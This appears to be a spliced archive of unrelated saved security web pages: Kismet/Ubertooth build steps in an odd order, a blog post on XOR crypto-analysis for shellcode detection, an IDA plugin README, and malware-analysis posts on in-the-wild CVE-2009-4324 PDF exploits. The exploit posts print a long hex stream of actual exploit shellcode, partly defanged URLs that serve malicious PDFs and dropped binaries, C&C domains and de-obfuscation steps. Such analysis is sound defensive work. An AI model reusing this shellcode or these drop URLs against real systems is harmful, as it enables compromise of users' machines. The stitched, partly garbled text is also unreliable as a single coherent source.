    tar xvf kismet-2011-03-R2.tar.gz -C /usr/src/
    mv /usr/src/kismet-2011-03-R2/ /usr/src/kismet
    cd /usr/src/kismet
    ./configure
    - Compile ubertooth kismet plugin
[/code]

Code:

[code]

    cd ../kismet/plugin-ubertooth
    wget http://www.kismetwireless.net/code/kismet-2011-03-R2.tar.gz
    make
    make install
[/code]

\- Add 'pcapbtbb' to the logtypes= line in /usr/local/etc/kismet.conf  
\- Run kismet with source and name as ubertooth  
\- Enable the ubertooth plugin via Kismet -> Plugins -> Select Plugin  
  
Kismet is ready. Now you can simply open the Kismet appropriate capture file
in Wireshark

# Crypto-Analysis in Shellcode Detection - Security Labs

**Created:**| _11/13/2010 3:58:17 PM_  
---|---  
**Updated:**| _11/13/2010 3:58:45 PM_  
**Author:**| __  
**Tags:**| _shellcode reversing iDS/iPS crypto_  
  

Crypto-Analysis in Shellcode Detection  

**Posted:** 03 Jun 2010 03:32 AM

Probably the biggest computer threats nowadays are _the Exploits_. Exploits
seek out the vulnerabilities of an application to launch their malicious
activities. Cyber criminals target popular applications such as Shockwave
Flash and Adobe Acrobat PDF to keep the chances high that a user's computer is
vulnerable. In this blog we will examine a Flash exploit using a very simple
crypto-analysis technique we call X-ray.

Crypto-analysis of malicious code is not a new technology or invention. It has
been used in fighting MS-DOS viruses since the '90s. This article provides an
in-depth, detailed discussion on this subject, explaining how it works and how
it can be used for malicious content detection in shell code.

First we need to understand the X-ray technique and how it works, and then we
can see how it helps us to analyze and detect malicious content in shell code.
X-ray is basically a differential crypto-analysis method which is a very easy
way to attack simple encrypted data. What we assume is that when a simple
block encryption algorithm is used, the difference between the consecutive
data blocks remains the same.

One very good way to explain this is to encrypt a picture and then try
decrypting it. Take a look at this picture:

<img src='img/Temp2_1707.jpg' />

The picture does not tell us much, except that we can see that it is
encrypted. It looks random enough, even though we can spot some repetition. In
fact the algorithm used is very simple stream ciphering with some avalanche
effect. The result is a picture that suggests very little about itself.
However, when we generate the difference in between the consecutive bytes, we
get this:

<img src='img/Temp2_1712.jpg' />

Ah-ha\! Now we see that this is the logo of our secret weapon against Internet
threats. :-\) \(See the original graphic below\)

<img src='img/Temp2_1706.jpg' />

Now, no wonder it is called X-ray\! We may not see the 'skin', but we clearly
see the 'bones'. The resulting picture is far from the original one, but is
good enough to see what it was. Nice, but how does it work?

To understand, we need to get into the math behind cryptography. Take a look
at this very simple block ciphering algorithm. We have a message of:

<img src='img/Temp2_1715.jpg' />

Where _M_ is the _n_ length of plaintext message and _m_ is the block of the
message \(typically a character\).

In order to get the ciphered message of:

<img src='img/Temp2_1716.jpg' />

Where  _C_ is the _n_ length of ciphertext \(encrypted\) message and  _c_ is
the block of the message \(typically a character\),

we need to apply an encryption to each one of the message blocks using the
same key:

<img src='img/Temp2_1721.jpg' />

Where _E_ is the encryption algorithm using _k_ key.

When _E_ encryption algorithm is a simple _XOR_ using the same _k_ key on each
block, then

<img src='img/Temp2_1710.jpg' />

the \(above\) formula gives us the encrypted stream. Usually we see this
simple method in shell code with byte size blocks. In other words, each one of
the characters of clear text is simply XORed with a constant \(see the pseudo
code\). The reason this kind of encryption is so popular is that it is easy to
understand and it is also easy to obfuscate the data and the code sections
enough to avoid detection by a simple string detection engine.

Now we can note that a simple differential analysis will easily decypher this
kind of encryption:

<img src='img/Temp2_1711.jpg' />

Why? Because:

<img src='img/Temp2_1718.jpg' />

Because XOR is commutative, we can remove the brackets and reorganize the
equation to:

<img src='img/Temp2_1709.jpg' />

We know that:

<img src='img/Temp2_1722.jpg' />

Therefore:

<img src='img/Temp2_1714.jpg' />

As we can see, a simple block ciphering does not provide strong encryption.
And because simple block ciphering is widely used in exploits, we can easily
break those by decyphering known text or binary content in them. To put the
theory in practice, let's take a look at this simple decryption loop taken out
of shell code used in an SWF exploit:

\(MD5 of the sample: 32398CBF94CA9B42E0B415BB93B00CFE\)

<img src='img/Temp2_1719.jpg' />

As we can see, the code uses byte size blocks and a simple XOR ciphering with
a constant 0x3D. Inside the code we can also see a pattern starts with some
0x3D following by a text "UIIM":

<img src='img/Temp2_1708.jpg' />

We might suspect that is an encrypted URL starting with "http://". Now that we
know the algorithm and the encryption key, it is easy to double check if our
suspicion is correct. The question is how do we find this string without
knowing the key?

Do you remember the differential attack? All we need to do is to take a known
text, which is "http://", and create a stream of differences:

<img src='img/Temp2_1720.jpg' />

Similarly, we create a difference on the encrypted stream:

<img src='img/Temp2_1723.jpg' />

And then, if we can find _ΔM_ in _ΔC,_ then we have what we are looking for.
Obviously, the longer the known text, the less prone it is to falsely
detecting the string.

The next step is to determine the key, and decipher the entire URL, which is
very simple by just doing an XOR on the first detected block and the first
block of the known text:

<img src='img/Temp2_1717.jpg' />

Knowing all of this, we can now write a simple analysis tool that can find and
extract 'interesting text' from a binary file. As an example, here is the
output of a small Perl hack I wrote earlier \(see the script attached below\):

<img src='img/Temp2_1713.jpg' />

The good thing about this technique is that we have to generate the
differential set from the known text set only once in the lifetime of the
application. Also, we need to generate the differences of the scanned shell
code only once to check all the known text from our dictionary. Our dictionary
therefore can be huge, including not only known and unknown URL patterns, but
binary sequences that can identify each type of shell code we already know.

So far so good, however, life would be too easy if all of our work was
finished now, yes? Many times, we see the shell code in compressed and
otherwise obfuscated format. For example a Flash file could be compressed, or
in a PDF file each stream can be compressed and encoded in different ways,
which than can contain obfuscated JavaScript code that holds the shell code.
The detection or analytics engine therefore first needs to do all the
necessary transformations and de-obfuscations in order to be able to analyze
the shell code. Maybe this is one of the reasons we can see simple encryptions
most of the times.

Although in reality we see mostly simple block ciphers in exploits, there are
many examples in viruses and trojans of much more sophisticated encryptions.
These use a variety of block and stream ciphers with different length
encryption keys, even applying more than one algorithm on top of each other to
harden the encryption. Breaking such ciphertext requires more complex method,
however, due to constantly increasing computing power, it is even possible to
attack the DES algorithm. The good news is that even when stronger encryption
has been applied, we have better techniques to detect malicious content.

# patois/IDACyber

**Created:**| _3/7/2018 8:57:04 AM_  
---|---  
**Updated:**| _3/7/2018 8:57:04 AM_  
**Author:**| _wishi_  
**Tags:**| _iDA visualization_  
  

  

###  README.md

# IDACyber

## Data Visualization Plugin for IDA Pro

<img src='img/Temp2_10523.png' width='888' height='324' alt='IDACyber IDA Pro
plugin' />

IDACyber is a plugin for the Interactive Disassembler that visualizes an IDA
database's content. This includes dynamic content taken from memory/debug
segments such as the stack and heap. The plugin can be extended with custom
"ColorFilters" that allow data to be represented in unique ways, allowing for
patterns and interesting areas to be identified and highlighted.

### Requirements

  * IDACyber requires IDA Pro 7.x

### Installation

  * The file "idacyber.py" and the "cyber" folder must be copied to the IDA Pro "plugins" folder.

### Usage

  * Ctrl-Shift-C starts the plugin and creates a new dockable window. Multiple instances can be created by re-running the plugin which allows several ColorFilters to be run in parallel. The resulting graph can be interacted with using keyboard and mouse controls which are explained by the quick manual that can be opened by pressing Ctrl-F1.

### Writing custom color filters

A color filter is nothing but a separate Python file that inherits from the
ColorFilter class \(please refer to "idacyber.py" for details\). Custom
filters can be added by copying them to the "cyber" subfolder
\(idadir/plugins/\). For code examples, please have a look at the color
filters located in the "cyber" subfolder.

### Known bugs

Yes :\[

### Gallery

The following shows an excerpt of the color filters available for IDACyber:

<img src='img/Temp2_10521.png' width='888' height='670' alt='IDACyber Gallery
01' /> <img src='img/Temp2_10522.png' width='636' height='681' alt='IDACyber
Gallery 02' /> <img src='img/Temp2_10524.png' width='636' height='681'
alt='IDACyber Gallery 03' /> <img src='img/Temp2_10520.png' width='676'
height='681' alt='IDACyber Gallery 04' /> <img src='img/idacyber.gif'
width='506' height='327' alt='IDACyber animated' />

  

# The NT Insider

**Created:**| _8/15/2010 10:08:25 AM_  
---|---  
**Updated:**| _8/16/2010 7:16:52 PM_  
**Author:**| __  
**Tags:**| _bookmark Debugging windows programming software_  
  
<img src='img/Temp2_8223' /><img src='img/Temp2_8223' />

# extraexploit: CVE-2009-4324

**Created:**| _1/7/2010 1:30:38 PM_  
---|---  
**Updated:**| _1/7/2010 1:30:55 PM_  
**Author:**| __  
**Tags:**| _reversing Malware-analysis_  
  

skip to main | skip to sidebar
# extraexploit

everything or nothing

Showing posts with label **CVE-2009-4324**. Show all posts

Showing posts with label **CVE-2009-4324**. Show all posts

## Tuesday, December 29, 2009

### Adobe CVE-2009-4324 in the wild - \(0day\) - part 0.6 – from Taiwan govs
with low detection

  
Through the contagiodump.blogspot.com report, in this post will be analyzed a
PDF with characteristics different from those in previous posts. The document
it’s collected through a mail attachment as well shown in the contagiodump
blog:

<img src='img/Temp2_10232.png' width='425' height='366' alt='s004' />

\(http://contagiodump.blogspot.com/2009/12/dec-29-cve-2009-4324-adobe-0-day.html\)

In particular, as the first step, the file it’s been opened with an editor
\(Notepad++\). As always there are some tags that require decoding Inflate to
get the code in the clear. But a note of interest it’s been discovered:
\(since I’m not a PDF specs guru\) in the following statement

<img src='img/Temp2_10200.png' width='644' height='122' alt='s001' />  
---  
In the screen shot above there is a red note that it’s easily confirmed
following this Google query:

<img src='img/Temp2_10240.png' width='644' height='385' alt='s002' />  
---  
The **/DL** token it’s explained in the PDF Specs at following link:
http://www.adobe.com/devnet/pdf/pdf\_reference.html  
In addition the red note is confirmed by analyzing the Metasploit module for
generating exploitable PDF files as shown in the following screen shot:

<img src='img/Temp2_10245.png' width='1028' height='34' alt='s003' />  
---  
\(From
http://www.packetstormsecurity.org/0911-exploits/adobe\_pdf\_embedded\_exe.rb.txt\)

In conclusion the PDF stub it maybe generated with Metasploit module.
Returning to the analysis using pdf\_inflater the only Javascript clear code
file obtained is the following:

<img src='img/Temp2_10230.png' width='925' height='618' alt='s005' />  
---  
IMHO this code contains a “not so bad” methods for a good low detection
technique.

The shellcode \(variable name “sc”\) it’s obtained, function urpl at line 1,
replacing the “Z” char with “u” obtaining the following UCS2 stream:

<img src='img/Temp2_10202.png' width='865' height='164' alt='s006' />  
---  
Using Malzilla it’s been obtained the following hex stream ready to been
posted at http://sandsprite.com/shellcode\_2\_exe.php

d9c8d97424f4bae7dbd3bc29c95fb19f31571483082731446  
c375250e7d8d3bc0f93d1bce752964818ae27d4d41159e70f  
3bd2bce752965018ae27d4a8d814030f0bd2bce752965418a  
e27d442ccd3c00f1bd2bce752965818ae27d44a40ae630f6b  
d2bce752965c18ae27d44bd309ca0f7bd2bce752966018ae2  
7d4f1be29ac0f4bd2bce752966418ae27d4f8a2d9540f5bd2  
bce752966818ae27d41c4c2eb30fabd2bce752967018ae27d  
40b4cd0b00fbbd2bce752960418ae27d411f96ac00f8bd2bc  
e752960818ae27d4646266c40f9bd2bce752961018ae27d40  
1cc5cc70febd2bce752967818ae27d47f2559b20ffbd2bce7  
52967cd42d507ae356961cb78d2ce907e6234ee6dba6526ea  
e7335a2274a37aa2782ee188e6b35a2734aeeb5892cc94724  
86606a864325b5882cc91b24a61418ae7343b20358f94f9b5  
284a1f589d4922c52c4e3f8d53dfeae3d3197d758fcef5296  
446eae773162db2d43188bbb2ce6dbd343b2375e39e7252c4  
3b7248654205ed342182492df95891439e3252c4383e8e192  
205edb42182496e4a2dbb9bc8dd9b9b88ddbb9bf8fdbd3bca  
75656bc19242cec188e3735a24758c943502d37aa23b31164  
23d3c8e2ee0f663b0178f5ae923153864281ef18ae2bea18  
e4f43b20f8543b26f2cc97b248670205ed342182492df9589  
1439e3252c4383e8e192205edb42182496e4a2dbb9bc6a5ed  
3421824832c7724867c188e17d6e78b2ce94b8886eab050bf  
98ff5096806c8fd6c4e40e58f6ff50899ce406308eae50e73  
7e42ee0431be81310dd1fa7bb2614debf1f3021879bffc7c9  
06508998e406b537eb9058e6fbd80e37e350d0790cd9e07c6  
c0e8ce2ba8011b4e78db71dd7dbd3bc621babb06c9bdf3797  
c77e37a7d338b56c9be7376763d3bce785102c  
---  
Trying to analyze the shellcode the first step it’s bypass an anti debugging
technique. For this goal it’s been pressed the “**F7** ” step by step
debugging mode option of IDA Pro. Don’t use “**F8** ”. \(many thanks to
http://whsbehind.blogspot.com/ for the hints\). In this mode it’s possible
decrypt \(XOR with 0xBCD3DBE7 in EDX\) the first piece of runtime code and
following in the subsequent steps:

<img src='img/Temp2_10206.png' width='737' height='327' alt='s007' />  
---  
And the following screen shot it’s a step before the setting and jump to the
new value of EIP:

<img src='img/Temp2_10222.png' width='753' height='355' alt='s008' />

The assembly code now it seem interpretable by IDA:

<img src='img/Temp2_10203.png' width='763' height='396' alt='s009' />  
---  
For the shell code, it’s possible analyze the runtime code until a certain
point. After it must continue with the static analysis of code and in some
cases this approach may be not a good approach. The best approach is run Adobe
Reader under debugger, open the malicious PDF file, and identify pieces of
code involved in the exploiting and execution of shell code. By way of example
on the next screen it’s shown a file size checking conducted by the standalone
shell code. In the following picture the shell code it’s executed out from
Adobe Reader context, or if you prefer in “standalone mode”. In this condition
there aren’t open PDF file handles. Then ,as in this case, running standalone
shell code leads to a condition of infinite loop. So, in conclusion, it’s
necessary loading the malicious PDF in the an Adobe Reader context and
tracking the behavior with an application debugger.

<img src='img/Temp2_10238.png' width='655' height='557' alt='s010' />  
---  
The 127728 bytes is the size of the PDF file:

<img src='img/Temp2_10236.png' width='378' height='269' alt='image' />  
---  
Trying to analyse the shell code under the Adobe Reader context its been
detected the following code from which start to a better analysis:

<img src='img/Temp2_10215.png' width='1028' height='269' alt='s011' />  
---  
It’s shown the Multimedia.API plugin code zone where it’s handled the method
that trigger the issue. The screen shot above potentially contains info that
may be used as starting point for writing “third part” patch.

For other behaviors like network traffic, dropped file, and system activities
please check
http://contagiodump.blogspot.com/2009/12/dec-29-cve-2009-4324-adobe-0-day.html.

Posted by extraexploit at 2:54 PM 0 comments <img src='img/Temp2_10229.png'
width='18' height='18' />

Labels: CVE-2009-4324

### Adobe CVE-2009-4324 in the wild - \(0day\) - part 0.5 – yet another
Elenore pack

From \(thanks to malwaredomainlist \) the follwing URL:  
  
**hxxxxp://macaples.in/my\_usa/pdf.php  
**  
It’s been downloaded a PDF that looks like similar to those analyzed in the
previous post. Again the Javascript code inflated from pdf it’s been contained
in 4 files. One of them permit to obtain a clear javascript code. In this case
the search is for “lka1” and replace with “%”

<img src='img/Temp2_10207.png' width='244' height='122' alt='shot001' />  
---  
  
The obfuscated exploit code appears like the following shots:  
  
<img src='img/Temp2_10233.png' width='382' height='167' alt='shot002' />  
---  
obtaining the following code:

<img src='img/Temp2_10225.png' width='244' height='148' alt='s1' />  
---  
<img src='img/Temp2_10231.png' width='244' height='121' alt='s2' />  
<img src='img/Temp2_10192.png' width='244' height='122' alt='s3' />  
<img src='img/Temp2_10212.png' width='244' height='112' alt='s4' />  
  
As shown are exploited the following issues:  
**  
CVE-2009-4324** by function printd\(\)  
**CVE-2008-2992** by function util\_printf\(\)  
**CVE-2007-5659** by function collab\_email\(\)  
**CVE-2009-0927** by function collab\_geticon\(\)  
  
The shell code once executed contact the following URL:  
  
<img src='img/Temp2_10199.png' width='349' height='200' alt='shot003' />  
---  
**hxxxxxxxxxxxp://macaples.in/my\_usa/load.php?spl=pdf\_pac****k**  
  
to drop and execute the following binary:

md5 bbaf68dc0071e0c7ff1f5fc6aa711279  
  
As reported by Threatexpert there is network traffic to IP 115.100.250.114

<img src='img/Temp2_10205.png' width='477' height='235' alt='s5' />  
  
---  
  
From Robtex http://www.robtex.com/dns/sport-lab.cn.html\#shared,more info
about this domain

Posted by extraexploit at 8:14 AM 0 comments <img src='img/Temp2_10229.png'
width='18' height='18' />

Labels: CVE-2009-4324

## Monday, December 28, 2009

### Adobe CVE-2009-4324 in the wild - \(0day\) - part 0.4 - yourenter.com

The following URL it's been reported by malwaredomainlist.com as a pdf
exploiter:

**hxxxxxxp://yourenter.com/pdf.php** \(replace hxxxxxxp with http at your
risk\).  
  

Trying with wepawet the pdf appears like "benign" \(http://bit.ly/7IZ9SH\). So
it's been started a minimal manual analysis. Following the usual steps with
pdf\_inflater were obtained the followings clear Javascript code:  
  

1.tmp:  
---  
<img src='img/Temp2_10241.png' />  
  
2.tmp:  
<img src='img/Temp2_10211.png' />  
  
3.tmp:  
<img src='img/Temp2_10220.png' />  
  
4.tmp:  
<img src='img/Temp2_10246.png' />  
  
In other words the pieces of code above stands for "search and replace" the
string "**kru pop 32** " with "**%** ". This step generate a Javascript code
encoded in the form of **“% <value>**” that it’s been decoded with Malzilla
support obtaining this code:

<img src='img/Temp2_10196.png' />  
---  
<img src='img/Temp2_10223.png' />  
<img src='img/Temp2_10219.png' />  
<img src='img/Temp2_10191.png' />  
As shown above the result is a PDF exploiter that try to trigger the following
issues:

**CVE-2009-4324** by function printd\(\) - line 10  
**CVE-2008-2992** by function util\_printf\(\) - line 32  
**CVE-2007-5659** by function collab\_email\(\) - line 58  
**CVE-2009-0927** by function collab\_geticon\(\) - line 84  
  
The shellcode is the same for each functions \(lines 12,34,60,89 in the code
above\). With Malzilla it's obtained the following result:

<img src='img/Temp2_10193.png' />  

  

So, once the issue is successfully triggered the shellcode try to drop and
execute the binary from:

**hxxxxxxp://yourenter.com//load.php?spl=pdf\_pack** \(as already reported by
malwaredomainlist.com\)

The threatexpert analysis it can be found at:
http://www.threatexpert.com/report.aspx?md5=1f5bf5bf2eb28ad8d5808e814f12ce02  

  

A few of network info related to the starting URL:  

<img src='img/Temp2_10234.png' width='514' height='196' alt='rob001' />  
---  
<img src='img/Temp2_10216.png' width='463' height='48' alt='rob002' />  
Whois:  

inetnum: 217.23.10.0 - 217.23.10.255  
netname: WORLDSTREAM  
descr: WorldStream IPv4.17  
country: NL  
admin-c: WS1670-RIPE  
tech-c: WS1670-RIPE  
status: ASSIGNED PA  
mnt-by: MNT-WORLDSTREAM  
source: RIPE \# Filtered  

Posted by extraexploit at 5:30 PM 0 comments <img src='img/Temp2_10229.png'
width='18' height='18' />

Labels: CVE-2009-4324

## Saturday, December 19, 2009

### Adobe CVE-2009-4324 in the wild - \(0day\) - part 0.3 - merry christmas
from \(for\) Taiwan ? :\)

Again from contagiodump... \(merry christmas pdf\) the following screen shot
shown a 955bade419a9ba9e5650ccb3dda88844 obfuscated javascript code extracted
from once of the stream objects within the pdf**  
  
**<img src='img/Temp2_10242.png' />  
**  
**The PDF \(955bade419a9ba9e5650ccb3dda88844\) generate \(if the issue is
triggered with success\) a binary that became an .exe file named "temp.exe"
with path "C:\Documents and Settings\Admin\Local Settings".  
The following link is the Anubis response to the exe:  
http://anubis.iseclab.org/?action=result&task\_id=18d9ed8740a9d94b469c492638799bb60&format=html  
  
As shown in the anubis analysis the dropper create another binary named
"msupdater.exe" located in  
"C:\Documents and Settings\Admin\Local Settings\Application Data". The Anubis
response for "msupdater.exe":  
http://anubis.iseclab.org/?action=result&task\_id=194fa0dfd87d1f9742d334f13b27666d3&format=html  
  
Once msupdater.exe it's executes is generated the following \(really strange\)
traffic:  
  
<img src='img/Temp2_10226.png' />  
  
As shown in the screen shot \(sorry for the copy on labs folder :\) \) above,
the ip of interest \(used for strange HTTP "ping" traffic as well a sort of
port knocking\) it seem the following: 140.112.40.7. From Robtex it's been
obtained the following graph:  
  
<img src='img/Temp2_10227.png' />  
  
  
Whois 140.112.40.7:  
  
`inetnum: 140.112.0.0 - 140.112.255.255  
netname: TANET  
descr: Taiwan Academic Network  
descr: Ministry of Education computer Center  
descr: 12F, No 106, Sec. 2, Heping E. Rd., Taipei  
country: TW  
admin-c: TA61-AP  
tech-c: TA61-AP  
mnt-by: MAINT-TW-TWNIC  
changed: hostmaster@twnic.net.tw 20030908  
changed: hm-changed@apnic.net 20040926  
status: ALLOCATED PORTABLE  
source: APNIC  
  
Another interesting IP (observed during launch of msupdter.exe) shown in the
WireShark cap above is:` 209.85.227.104 `that stand for:` wy-in-f104.1e100.net  
`  
`<img src='img/Temp2_10209.png' />  
`AS15169 stand for google.com  
  
so 209.85.227.104 it's Google :)`  
  
Anyway yet another reverse engineering analysis about this issue you can be
found at http://whsbehind.blogspot.com  

Posted by extraexploit at 2:15 AM 0 comments <img src='img/Temp2_10229.png'
width='18' height='18' />

Labels: CVE-2009-4324

## Friday, December 18, 2009

### Adobe CVE-2009-4324 in the wild - \(0day\) - part 0.2 - shellcode and site
down

It seem that the spreading infrastructure it's down \(or may be the admins has
change domains or paths as well \). Anyway the following screenshots shown the
shell code embedded in one of the well know PDFs \(thank you
contagiodump.blogspot.com\) . For inflating deflate PDF stream it's been used
PDF\_streams\_inflater tool \(not more available from malzilla site\)  
  
http://www.mc-antivirus-
test.com/modules/PDdownloads/singlefile.php?cid=6&lid=25  
  
The dissected PDF has the following MD5: 35e8eeee2b94cbe87e3d3f843ec857f6 but
it seem that also  
61baabd6fc12e01ff73ceacc07c84f9a use the same shell code  
  
so.. the first step for retrieve usefull code is a simple override of eval
javascript method:  
  
<img src='img/Temp2_10210.png' />  
  
the following screenshot shown some clear string within the shellcode:  
  
<img src='img/Temp2_10218.png' />  
  
may be a check for Kasperksky tools at runtime and check for Kingoft security
tools. And the evidence for the user agent AdobeUpdate \(as well documentend
in the F-secure post about subject\) used for HTTP request.  
  
For obtain,quickly, a PE binary from shell code it's been used:  
http://sandsprite.com/shellcode\_2\_exe.php  
  
The check above during runtime:  
  
<img src='img/Temp2_10197.png' />  
  
The XML code that define an embedded RAR file discovered inside
35e8eeee2b94cbe87e3d3f843ec857f6:  
  
<img src='img/Temp2_10204.png' />  
  
  
The Anubis analysis of the RAR \(in the form of exe RAR compressed archive\)
extracted from the pdf above:  
http://anubis.iseclab.org/?action=result&task\_id=106dc12f361a9afd4156862d5f34f1c77&format=html  
  
The RAR contents:  
  
<img src='img/Temp2_10237.png' />  
  
The RAR compressed exe file it's runned by shell code under certain
conditions.  
  
  

Posted by extraexploit at 2:16 PM 0 comments <img src='img/Temp2_10229.png'
width='18' height='18' />

Labels: CVE-2009-4324

## Tuesday, December 15, 2009

### Adobe CVE-2009-4324 in the wild - \(0day\) - part 0.1 - browsing C&Cs

"playing" with one of the URL, run by a C & C \(see previous post
http://extraexploit.blogspot.com/2009/12/adobe-cve-2009-4324-in-wild.html\)
you can access some path in which are content folder names match \(probably\)
to hostnames infected. In the following scheenshots is documented the browsing
for dailysummary.net  
  
The root path:  
  
<img src='img/Temp2_10221.png' />  
  
The host names list:  
  
<img src='img/Temp2_10190.png' />  
  
The content \(probably encrypted file\):  
  
<img src='img/Temp2_10195.png' />  
  
The root path for somus.net:  
  
<img src='img/Temp2_10214.png' />  
  

Posted by extraexploit at 3:43 PM 0 comments <img src='img/Temp2_10229.png'
width='18' height='18' />

Labels: CVE-2009-4324

### Adobe CVE-2009-4324 in the wild - \(0day\) - part 0

A quick analysis \(This post is under update\):  
  
  
Something more from other site:  
  
A detailed CVE-2009-4324 analysis \(many thanks vrt-sourcefire team :\) \) :  
VRT-Sourcefire  
http://vrt-sourcefire.blogspot.com/2009/12/adobe-reader-medianewplayer-
analysis.html  
  
Other interesting analysis about from contagiodump.blogspot.com \(many thanks
contagio :\)\) :  
http://contagiodump.blogspot.com/2009/12/adobe-cve-2009-4324-posts-with-
infected.html  
http://contagiodump.blogspot.com/2009/12/zero-day-pdf-attack-of-
day-2-interview.html  
  
Malwaredomainlist  
http://www.malwaredomainlist.com/forums/  
  
A bad news about CVE-2009-4324  
New exploit in the wild capitalizes on flaw in JavaScript function, patch to
come January 12 \(Darkreading\)  
http://www.darkreading.com/vulnerability\_management/security/app-
security/showArticle.jhtml?articleID=222002143  
  
F-secure analysis \(probably after this initial post:\) \) of binary above
\(sorry see below :\) with some info about HTTP C&C  
http://www.f-secure.com/weblog/archives/00001836.html  
  
Adobe PSIRT Blog  
http://blogs.adobe.com/psirt/2009/12/new\_adobe\_reader\_and\_acrobat\_v.html  
  
Metasploit module:  
http://downloads.securityfocus.com/vulnerabilities/exploits/adobe\_media\_newplayer.rb  
  
My not so linear analysis:  
  
The malicious PDF is spreaded via email attachments. The following URLs it
seemrelated to this issue \(used by Trojan.Pidief.h as dropper. Low AV
detection rate at the firs Virustotal submission.\):  
hzzzzzp://foruminspace.com/documents/dprk/ab.exe \(replace hzzzzzp with http
at your risk\)  
  
Virustotal analysis  
https://www.virustotal.com/analisis/d6afb2a2e7f2afe6ca150c1fade0ea87d9b18a8e77edd7784986df55a93db985-1260858538  
  
ThreatExpert analysis:  
http://www.threatexpert.com/report.aspx?md5=686738eb5bb8027c524303751117e8a9  
  
  
Robtex response for malicious domain above \(foruminspace.com\):  
<img src='img/Temp2_10208.png' />  
A bit more:  
<img src='img/Temp2_10213.png' />  
  
Whois 124.217.238.101  
  
inetnum: 124.217.224.0 - 124.217.255.255  
netname: PIRADIUS-NET  
descr: PIRADIUS NET  
country: MY  
admin-c: PA124-AP  
tech-c: PA124-AP  
status: ALLOCATED PORTABLE  
remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
remarks: This object can only be updated by APNIC hostmasters.  
remarks: To update this object, please contact APNIC  
remarks: hostmasters and include your organisation's account  
remarks: name in the subject line.  
remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
mnt-by: APNIC-HM  
mnt-lower: MAINT-MY-PIRADIUS  
changed: hm-changed@apnic.net 20071217  
source: APNIC  
  
person: PIRADIUS NET Administrator  
nic-hdl: PA124-AP  
e-mail: abuse@piradius.net  
address: PIRADIUS NET  
address: Unit 21-3A, Level 21  
address: Plaza DNP 59, Jalan Abdullah Tahir  
address: Taman Century Garden  
address: 80300 Johor Bahru, Johor  
address: Malaysia  
phone: +607 334 8605  
fax-no: +607 334 8605  
country: MY  
changed: admin@piradius.net 20071003  
mnt-by: MAINT-MY-PIRADIUS  
source: APNIC  
  
Some piece of reversing related to "ab.exe":  
  
the list of process "unfriendly" searched in memory:  
  
<img src='img/Temp2_10224.png' />  
  
An antidebugging technique discovered in the dropper \(thank to 0xff for
support\) and other pieces of checking stage in the name of a "good local
malware ecosystem":  
  
<img src='img/Temp2_10201.png' />  
  
An HTTP command from infected host for the C&C HTTP based:  
  
<img src='img/Temp2_10235.png' />  
  
The command that was send from "infected" host:  
  
<img src='img/Temp2_10239.png' />  
  
The commands are sent at two hostname: dailysummary.net and somus.net  
  
<img src='img/Temp2_10194.png' />  
  
<img src='img/Temp2_10228.png' />  
  
A note of interest is the MX record that point at the C&C hostname. The
following pictures \(still generated by robtex\) shown the impressive number
of domains assiged to the ip 124.217.238.192 \(dailysummary.net\)  
  
<img src='img/Temp2_10198.png' />  
\(generated from http://www.robtex.com/ip/124.217.238.192.html\#graph\)  
  
and to the ip 124.217.238.100 \(somus.net\)  
<img src='img/Temp2_10243.png' />  
\(generated from http://www.robtex.com/ip/124.217.238.100.html\#graph\)  
  
  
  

Posted by extraexploit at 3:15 AM 0 comments <img src='img/Temp2_10229.png'
width='18' height='18' />

Labels: 0day, CVE-2009-4324, exploit

Newer Posts Older Posts Home

Subscribe to: Posts \(Atom\)

## posts

  * ▼  2009 \(50\)
    * ▼  December \(11\)
      * Adobe CVE-2009-4324 in the wild - \(0day\) - part 0....
      * Adobe CVE-2009-4324 in the wild - \(0day\) - part 0....
      * Adobe CVE-2009-4324 in the wild - \(0day\) - part 0....
      * unique prefixes found in the routing table - BGP
      * ebnvnos.com - Flash Java and PDF vulnerabilities i...
      * ebnvnos.com - Flash and Java vulnerabilities in th...
      * Adobe CVE-2009-4324 in the wild - \(0day\) - part 0...
      * Adobe CVE-2009-4324 in the wild - \(0day\) - part 0...
      * Adobe CVE-2009-4324 in the wild - \(0day\) - part 0...
      * Adobe CVE-2009-4324 in the wild - \(0day\) - part 0...
      * 318x.com, 7o8.net and other evil "Eldorado" domain...
    * ►  September \(1\)
      * Secunia PSI \(RC3\) - memory corruption
    * ►  July \(3\)
      * something about CVE-2009-1862 PoC analysis
      * something more about "Vulnerability in Microsoft O...
      * The Rootkit Arsenal: Escape and Evasion in the Dar...
    * ►  June \(2\)
      * some nine-ball information - part 0.1
      * is static. 202.88.46.78.clients.your-server.de a l...
    * ►  May \(21\)
      * bulkbin.cn - russian business network related. it ...
      * bulkbin.cn - name server - part 0.2
      * generic unpacking of self-modifying, aggressive, p...
      * bulkbin.cn - strange AS - part 0.1
      * an irc server - part 0.1
      * another approach - trying to analyze mebroot \(torp...
      * gumblar.cn and martuz.cn are dead
      * afcore - trying to analyze coreflood - part 0
      * pushfd popfd - SEH and anti-debugging
      * first look - trying to analyze mebroot \(torpig\) -...
      * got it ? - trying to analyze mebroot \(torpig\) - p...
      * AS whois \(cymru whois service\) script
      * a "capture-server" night - a different night witho...
      * still attempts for binaries retriving - trying to ...
      * LSASS.exe process
      * javascript-analytics.com: correlation between an i...
      * who is javascript-analytics.com ? - trying to anal...
      * wepawet information disclosure vulnerability?
      * trying to analyze mebroot \(torpig\) - part 0
      * torpig botnet
      * conficker.e analysis \(.exe component\) - part 0.9 -...
    * ►  April \(12\)
      * conficker.e analysis \(.exe component\) - part 0.8 -...
      * conficker.e analysis \(.exe component\) - part 0.7 -...
      * conficker.e analysis \(.exe component\) - part 0.6 -...
      * conficker.e analysis \(.exe component\) - part 0.5 -...
      * conficker.e analysis \(.exe component\) - part 0.4 -...
      * conficker.e analysis \(.exe component\) - part 0.3 -...
      * conficker.e analysis \(.exe component\) - part 0.2 ...
      * conficker.e analysis \(.exe component\) - part 0.1
      * conficker.e analysis \(.exe component\) - part 0
      * W32.downadup.e and rogue AV
      * w32.downadup.e
      * conficker.c - ccTLD attractor

<img src='img/Temp2_10244.png' width='18' height='18' />

## info

  * Bytes and Badges
  * carnal0wnage
  * contagio dump
  * Dancho Danchev's Blog
  * Dark Reading
  * Darknet
  * Decrypt my World
  * Edgar Tools
  * Emerging Threat
  * endellion
  * Exploit Prevention Labs
  * Hexale
  * IDA tips and tricks
  * Intevydis Blog
  * Kaspersky Blog
